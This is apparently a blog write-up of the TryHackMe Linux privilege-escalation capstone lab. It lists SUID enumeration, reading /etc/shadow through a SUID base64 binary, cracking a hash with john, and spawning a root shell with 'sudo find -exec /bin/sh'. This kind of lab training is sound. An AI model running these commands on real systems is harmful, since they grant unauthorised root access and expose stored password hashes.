GRANNYSEC - InfoSec for Grannies [%&$#?@!..]

  • Home
  • Blue
  • Red
  • Windows
  • Linux
  • Contact
  • About

TryHackMe – Linux Privilege Escalation Capstone Challenge

Posted by d3nni5 on 09/05/2023
Posted in: Linux, Red. Tagged: find, gtfobins, john, linux, suid.

Walkthrough of the Capstone challenge which is the last task in the Linux privilege escalation room.

Prelude

This piece is the continuation of the Linux Privilege Escalation room as that was just quite an extensive one so I’ve decided to put the challenge part into a separate article. We investigated a lot of aspects of privilege escalation vectors there, so now it’s high time to get the skills gathered tested.

Enumeration

Let’s start with some basic commands in our SSH session to get some more information about the victim. We can see that Leonard has no sudo rights at all unfortunately, so we cannot really get some help uploading Linpeas as we could not run it anyways. Let’s turn to SUID files then as that might be an easiest way of escalation.

find / -type f -perm -u=s 2>/dev/null

We can see a lot, but let’s just start with the very first one on the top, shall we. Upon visiting GTFOBins we can see that all we have to do is just initiating a couple of commands in our existing shell and hope for the best.

sudo install -m =xs $(which base64) .

LFILE=file_to_read
./base64 "$LFILE" | base64 --decode

As per the description we do not have to put in the first line as base64 binary is there already. Executing the rest of the commands we are able to gather the password hashes from the shadow file. There are two interesting ones, “missy” and “root”. 

LFILE=/etc/shadow

/usr/bin/base64 "$LFILE" | base64 --decode | grep missy

LFILE=/etc/shadow

/usr/bin/base64 "$LFILE" | base64 --decode | grep root

Unfortunately, we only manage to crack missy’s hash in a reasonable timeframe.

john --wordlist=/usr/share/wordlists/rockyou.txt missy

Let’s login as missy and answer some questions.

What is the content of the flag1.txt file?

find / -name flag*.txt -type f 2>/dev/null

cat /home/missy/Documents/flag1.txt

Now, let’s just check whether missy has broader sudo rights by any chance. Well, it shows that she’s able to run the “find” binary with root privileges. Upon checking the potential break-out possibilities of that in GTFOBins, we find a oneliner which would spawn us a root shell.

sudo find . -exec /bin/sh \; -quit

Executing that command and upgrading the returning root shell to a fully interactive one we are clearly in a position to answer the final question of this section as well.

What is the content of the flag2.txt file?

sudo -l

sudo find . -exec /bin/sh \; -quit

python -c 'import pty; pty.spawn("/bin/bash")'

find / -name flag*.txt -type f 2>/dev/null

cat /home/rootflag/flag2.txt

Thanks for reading and as always, any feedback is most welcome.

Posts navigation

← TryHackMe – Linux Privilege Escalation
TryHackMe – Burp Suite: The Basics →
  • Recent Posts

    • Cheatsheet v0.0
    • TryHackMe – Burp Suite: Other Modules
    • TryHackMe – Burp Suite: Intruder
    • TryHackMe – Burp Suite: Repeater
    • TryHackMe – Burp Suite: The Basics
  • Tags

    apache applocker base64 bloodhound bof burpsuite cms csrf curl debugger eip esp ffuf find ftp fuzzer gobuster gtfobins hashcat hydra jenkins john kerberos lfi linux metasploit mimikatz mona msfvenom netcat nmap path powershell python rce searchsploit share smb smbclient sql sqli sqlmap squirrelmail suid webapp windows winrm wpscan xfreerdp xss
  • Search

grannysec.com © 2023
GRANNYSEC - InfoSec for Grannies [%&$#?@!..]
  • Home
  • Blue
  • Red
  • Windows
  • Linux
  • Contact
  • About